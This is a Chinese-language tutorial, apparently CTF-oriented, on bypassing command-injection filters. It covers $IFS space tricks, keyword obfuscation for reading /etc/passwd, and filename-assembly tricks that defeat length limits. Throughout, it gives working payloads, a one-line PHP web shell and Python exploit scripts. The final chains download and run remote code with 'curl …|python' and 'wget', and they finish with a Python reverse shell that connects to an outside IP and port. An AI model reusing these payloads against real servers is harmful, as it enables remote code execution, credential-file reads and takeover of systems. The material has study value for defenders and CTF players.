这里小结下各位师傅的Bypass技巧。

测试后门代码:

1
<?php system($_GET['m']);?>

0x01 空格过滤Bypass

使用$IFS

1
http://m.com/shell.php?m=ls$IFS/tmp

一些特殊情况可用以下变体:

\$IFS​\$9——后面加个\$与{}类似,起截断作用,\$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat\$IFS2\$9flag.php;

\${IFS}——单纯cat​\$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat\${IFS2}flag.php;

使用{cmd,p1[,p2……]}

1
http://m.com/shell.php?m={cat,/etc/passwd}

使用Tab

在PHP环境下使用%09可以替换空格,

1
http://m.com/shell.php?m=cat%09/etc/passwd

使用重定向

<重定向,如:cat<flag.php

<>重定向,如:ls<>a.txt

0x02 关键字过滤Bypass

1
2
3
4
5
6
7
8
9
10
;a=/etc;b=/passwd;cat $a$b;
;cat$IFS/et?/pas??d;
;c\a\t /e\t\c/p\a\s\s\wd;
;ca${xx}t /et${xx}c/pas${xx}swd;
;${SHELLOPTS:3:1}at /et${SHELLOPTS:3:1}/passwd;
;c(echo a)t /et$(echo c)/pas$(echo s)wd;
;c`echo a`t /et`echo c`/pas`echo s`wd;
;ca''t /et''c/pass''wd;
;ca""t /et""c/pass""wd;
;ca``t /et``c/pass``wd;

0x03 连接符

可用于进行命令注入利用和替换的连接符有:&、&&、|、||、%0a、;、`、\n等。

注意前面几个符号的区别:&&号后面命令的执行是建立在前面命令已经正确执行的前提之下的;&号表明这两条命令会同时执行,顺序先后不一定;管道符(|)能正常执行,但管道符的限制是只显示后面那条命令的执行结果;另外也有两个管道符(||)的用法,但是条件是前面的命令执行失败,和&&号的相反。

0x04 长度限制绕过

长度限制<17

看个例题:

1
2
3
4
5
6
<?php
$param = $_POST['param'];
if(strlen($param) < 17){
eval($param);
}
?>

直接在eval里内嵌eval即可,长度刚刚好:

1
param=eval($_POST[1]);&1=echo `cat flag`

长度限制<16

在前面的基础上,将POST改为GET:

1
eval($_GET[1]);

或者使用>>>来构造:

如需执行 echo \<?php eval($_GET[1]);?>>1

1
2
3
4
5
echo \<?php >1;
echo eval\(>>1;
echo \$_GET>>1;
echo \[1\]>>1;
echo \)\;?>>1;

长度限制<8

例题:

1
2
3
4
5
<?php
if(strlen($_GET[1])<8){
echo shell_exec($_GET[1]);
}
?>

可以利用后面说到技巧来绕过,具体原理看后面即可。

假设我们要写入<?php echo phpinfo();,转换成Base64编码形式就是echo PD9waHAgcGhwaW5mbygpOw== | base64 -d >1.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ski12@ubuntu:/tmp/test$ >hp
ski12@ubuntu:/tmp/test$ >1.p\\
ski12@ubuntu:/tmp/test$ >d\>\\
ski12@ubuntu:/tmp/test$ >\-\\
ski12@ubuntu:/tmp/test$ >e64\\
ski12@ubuntu:/tmp/test$ >bas\\
ski12@ubuntu:/tmp/test$ >=\|\\
ski12@ubuntu:/tmp/test$ >w=\\
ski12@ubuntu:/tmp/test$ >gpO\\
ski12@ubuntu:/tmp/test$ >mby\\
ski12@ubuntu:/tmp/test$ >aW5\\
ski12@ubuntu:/tmp/test$ >Ghw\\
ski12@ubuntu:/tmp/test$ >Agc\\
ski12@ubuntu:/tmp/test$ >waH\\
ski12@ubuntu:/tmp/test$ >PD9\\
ski12@ubuntu:/tmp/test$ >o\ \\
ski12@ubuntu:/tmp/test$ >ech\\

ski12@ubuntu:/tmp/test$ ls -t>0
ski12@ubuntu:/tmp/test$ sh 0

倒叙新建文件名,然后通过ls -t>0,将刚才的顺序再倒序然后写入到0文件中,然后用sh将0当作脚本执行。

另一个exp脚本如下,原理类似:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
name=[">php\\",">\\ 1.\\\\",">\\ -O\\\\",">cn\\\\",">\\ a.\\\\",">wget\\\\"]
#可以修改hosts文件,让a.cn指向一个自己的服务器。
#index.html是一个php的shell
url="http://192.168.163.128/test.php"
for x in name:
print x
param={'1':x}
a=requests.get(url,params=param)
param1={'1':'ls -t>a'}
param2={'1':'sh a'}
requests.get(url,params=param1)
requests.get(url,params=param2)
b=requests.get("http://192.168.163.128/1.php")
if b.status_code == 200:
print "ok!"
else:
print "bad!"

长度限制<=5

在上一小节的基础上,看到ls -t>0这个命令是超过5位的长度限制的。但是我们可以把ls -t>a拆分为几段放在一个文件中,然后再执行,具体的原理在后面讲到:

1
2
3
4
5
6
7
ski12@ubuntu:/tmp/test$ >ls\\
ski12@ubuntu:/tmp/test$ ls>a
ski12@ubuntu:/tmp/test$ >\ \\
ski12@ubuntu:/tmp/test$ >-t\\
ski12@ubuntu:/tmp/test$ >\>0

ski12@ubuntu:/tmp/test$ ls>>a

看个例题:

1
2
3
4
5
6
7
8
9
10
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);

贴一下Orange师傅的exp脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
from time import sleep
from urllib import quote
payload = [
# generate `ls -t>g` file
'>ls\\',
'ls>_',
'>\ \\',
'>-t\\',
'>\>g',
'ls>>_',
# generate `curl orange.tw.tw>python`
# curl shell.0xb.pw|python
'>on',
'>th\\',
'>py\\',
'>\|\\',
'>pw\\',
'>x.\\',
'>xx\\',
'>l.\\',
'>el\\',
'>sh\\',
'>\ \\',
'>rl\\',
'>cu\\',
# exec
'sh _',
'sh g',
]
# r = requests.get('http://localhost/tmp/?reset=1')
for i in payload:
assert len(i) <= 5
r = requests.get('http://localhost/tmp/?cmd=' + quote(i) )
print i
sleep(0.2)

长度限制<=4

参考学习了Freebuf上的这个命令注入绕过长度限制反弹shell的姿势:挖洞经验 | 命令注入突破长度限制

下面是跟着原文来操作一遍。

命令组装(*号解析文件名为命令)

依次输入如下命令,先分别创建echo和mi1k7ea两个文件,然后执行*,此时就能看到输出hello了。这里通过>echo>hello完成命令组装,然后调用*并执行了命令echo mi1k7ea

注意:这里为什么拼接的顺序是echo在前mi1k7ea在后,这是因为e字母在m字母的之前而并非是先创建echo再创建mi1k7ea的缘故。

此时我们可以通过echo *来查看这个*代表的是什么:

1
2
3
4
5
6
7
ski12@ubuntu:/tmp/test$ >echo
ski12@ubuntu:/tmp/test$ >mi1k7ea
ski12@ubuntu:/tmp/test$ *
mi1k7ea
ski12@ubuntu:/tmp/test$ echo *
echo mi1k7ea
ski12@ubuntu:/tmp/test$

但是当我们尝试用这种方法来执行ls -l这种带参数的命令时,由于参数前的-字符会让参数的排序总是在命令的前面,导致调用*时总是实际执行命令-l ls进而报错:

1
2
3
4
5
6
7
ski12@ubuntu:/tmp/test$ >ls
ski12@ubuntu:/tmp/test$ >-l
ski12@ubuntu:/tmp/test$ *
-l: command not found
ski12@ubuntu:/tmp/test$ echo *
-l ls
ski12@ubuntu:/tmp/test$

下面应用的技巧可以实现绕过。

反转命令(rev命令)

由前面知道”-“字符在”l”字母之前,如果我们将他们反转以下,即将ls -l命令反转过来为l- sl,此时”l”在”s”前面,然后将其写入文件v中,最后用一个命令将文件中的字节反转就能实现绕过执行了。

这里先看到,如果我们采用如下的方式将反转的命令写入v文件中(为啥是v文件后面会说到),可以看到是文件中存在v这个字符扰乱我们的命令的:

1
2
3
4
5
6
7
8
9
10
11
12
ski12@ubuntu:/tmp/test$ >l-
ski12@ubuntu:/tmp/test$ >sl
ski12@ubuntu:/tmp/test$ ls
l- sl
ski12@ubuntu:/tmp/test$ ls>v
ski12@ubuntu:/tmp/test$ ls
l- sl v
ski12@ubuntu:/tmp/test$ cat v
l-
sl
v
ski12@ubuntu:/tmp/test$

下面用到一个技巧,使用dir命令,即dir a b>c只会将a b写到文件c中:

1
2
3
4
5
6
7
8
9
ski12@ubuntu:/tmp/test$ >dir
ski12@ubuntu:/tmp/test$ ls
dir l- sl
ski12@ubuntu:/tmp/test$ *>v
ski12@ubuntu:/tmp/test$ ls
dir l- sl v
ski12@ubuntu:/tmp/test$ cat v
l- sl
ski12@ubuntu:/tmp/test$

好了,已经将反转命令保存到v文件中了。

接下来就是对文件内容进行反转操作。

Linux中有个rev命令用于将文件内容以字符为单位反序输出。这里新建rev文件后,使用*v就能匹配到当前目录下的rev和v这两个文件,就能成功执行了,这就是为什么前面说到文件要命名为v:

1
2
3
4
5
6
7
8
ski12@ubuntu:/tmp/test$ >rev
ski12@ubuntu:/tmp/test$ ls
dir l- rev sl v
ski12@ubuntu:/tmp/test$ echo *v
rev v
ski12@ubuntu:/tmp/test$ *v
ls -l
ski12@ubuntu:/tmp/test$

现在只需要将*v的执行结果输出到一个文件中,再执行这个文件即可成功执行ls -l命令:

1
2
3
4
5
6
7
8
9
10
ski12@ubuntu:/tmp/test$ *v>x
ski12@ubuntu:/tmp/test$ sh x
total 8
-rw-rw-r-- 1 ski12 ski12 0 Feb 13 18:35 dir
-rw-rw-r-- 1 ski12 ski12 0 Feb 13 18:29 l-
-rw-rw-r-- 1 ski12 ski12 0 Feb 13 18:58 rev
-rw-rw-r-- 1 ski12 ski12 0 Feb 13 18:29 sl
-rw-rw-r-- 1 ski12 ski12 7 Feb 13 18:42 v
-rw-rw-r-- 1 ski12 ski12 7 Feb 13 19:12 x
ski12@ubuntu:/tmp/test$

此时可以看到,几个关键的命令的长度都不超过4。

控制顺序(ls -t命令)

如果我们想构造ls -t >g命令,要是按前面那样反转命令的技巧来的话会得到g> t- sl,按照字母顺序t-会在sl后面,不满足需要。此时转换一下,构造的是ls -th >g命令,反转命令的技巧来的话会得到g> ht- sl,此时正好满足字母顺序。

注意,ls命令的-t参数是根据时间先后来列出文件,-h参数是以人认知的方式列出内容。

通过ls -th就能控制命令和参数的顺序了:

1
2
3
4
5
6
7
8
9
ski12@ubuntu:/tmp/test$ >-l
ski12@ubuntu:/tmp/test$ >ls
ski12@ubuntu:/tmp/test$ ls
-l ls
ski12@ubuntu:/tmp/test$ ls -t
ls -l
ski12@ubuntu:/tmp/test$ ls -th
ls -l
ski12@ubuntu:/tmp/test$

命令续行(末尾\字符)

在Linux中,如果当前输入的内容最后一个字符为\,会在下面一行继续等待用户输入然后拼接成完整的命令再执行,比如:

1
2
3
ski12@ubuntu:/tmp/test$ l\
> s
-l ls

因此,我们就可以构造一连串的拼接命令续行来绕过长度限制,如下是为了构造命令curl mi1k7ea.com|python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ski12@ubuntu:/tmp/test$ >th\\
ski12@ubuntu:/tmp/test$ >py\\
ski12@ubuntu:/tmp/test$ >\|\\
ski12@ubuntu:/tmp/test$ >m\\
ski12@ubuntu:/tmp/test$ >co\\
ski12@ubuntu:/tmp/test$ >a.\\
ski12@ubuntu:/tmp/test$ >7e\\
ski12@ubuntu:/tmp/test$ >1k\\
ski12@ubuntu:/tmp/test$ >mi\\
ski12@ubuntu:/tmp/test$ >\ \\
ski12@ubuntu:/tmp/test$ >rl\\
ski12@ubuntu:/tmp/test$ >cu\\
ski12@ubuntu:/tmp/test$ ls -t
cu\ rl\ \ mi\ 1k\ 7e\ a.\ co\ m\ |\ py\ th\ on
ski12@ubuntu:/tmp/test$

注意,.符号不能放在首位,前面必须有其他字符来拼接才能创建成功。

>py\\这里看着是5个字符,超过了4个的限制,实际上是因为 shell环境需要输入\\产生\,但是php 代码exec时,只需要输入\即可产生\,比如exec("">py\")即可。所以这里实际上是不超过4个字符的,为了演示直观,在shell中直接执行。

执行ls -th>g,然后sh g,实际执行反弹shell命令。

curl mi1k7ea.com实际获取的内容:

1
2
3
4
5
6
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.190.138",6666));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

最终payload链

将前面的各种技巧串连起来,就能构成绕过长度限制实现反弹shell的命令注入了。

生成包含ls -th >g文件x:

1
2
3
4
5
6
7
8
9
10
ski12@ubuntu:/tmp/test$ >sl
ski12@ubuntu:/tmp/test$ >ht-
ski12@ubuntu:/tmp/test$ >g\>
ski12@ubuntu:/tmp/test$ >dir
ski12@ubuntu:/tmp/test$ *>v
ski12@ubuntu:/tmp/test$ >rev
ski12@ubuntu:/tmp/test$ *v>x
ski12@ubuntu:/tmp/test$ cat x
ls -th >g
ski12@ubuntu:/tmp/test$

然后生成curl mi1k7ea.com|python命令续行文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ski12@ubuntu:/tmp/test$ >\;
ski12@ubuntu:/tmp/test$ >on\\
ski12@ubuntu:/tmp/test$ >th\\
ski12@ubuntu:/tmp/test$ >py\\
ski12@ubuntu:/tmp/test$ >\|\\
ski12@ubuntu:/tmp/test$ >m\\
ski12@ubuntu:/tmp/test$ >co\\
ski12@ubuntu:/tmp/test$ >a.\\
ski12@ubuntu:/tmp/test$ >7e\\
ski12@ubuntu:/tmp/test$ >1k\\
ski12@ubuntu:/tmp/test$ >mi\\
ski12@ubuntu:/tmp/test$ >\ \\
ski12@ubuntu:/tmp/test$ >rl\\
ski12@ubuntu:/tmp/test$ >cu\\
ski12@ubuntu:/tmp/test$ ls -t
cu\ rl\ \ mi\ 1k\ 7e\ a.\ co\ m\ |\ py\ th\ on\ ; x rev v dir g> ht- sl
ski12@ubuntu:/tmp/test$

然后执行sh xcurl mi1k7ea.com|python命令写入文件g:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
ski12@ubuntu:/tmp/test$ sh x
ski12@ubuntu:/tmp/test$ cat x
ls -th >g
ski12@ubuntu:/tmp/test$ cat g
g
cu\
rl\
\
mi\
1k\
7e\
a.\
co\
m\
|\
py\
th\
on\
;
x
rev
v
dir
g>
ht-
sl
ski12@ubuntu:/tmp/test$

最后执行sh g,即可实现反弹shell。

另:利用bash shell变量拼接

如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ski12@ubuntu:/tmp/test$ a=ec
ski12@ubuntu:/tmp/test$ a+=h
ski12@ubuntu:/tmp/test$ a+=o
ski12@ubuntu:/tmp/test$ a+=\
ski12@ubuntu:/tmp/test$ a+=h
ski12@ubuntu:/tmp/test$ a+=a
ski12@ubuntu:/tmp/test$ a+=c
ski12@ubuntu:/tmp/test$ a+=k
ski12@ubuntu:/tmp/test$ a+=e
ski12@ubuntu:/tmp/test$ a+=d
ski12@ubuntu:/tmp/test$ $a
hacked
ski12@ubuntu:/tmp/test$ echo $a
echo hacked
ski12@ubuntu:/tmp/test$

注意,这种在另起shell的时候不适用,也就是说大多数时候是不可用的。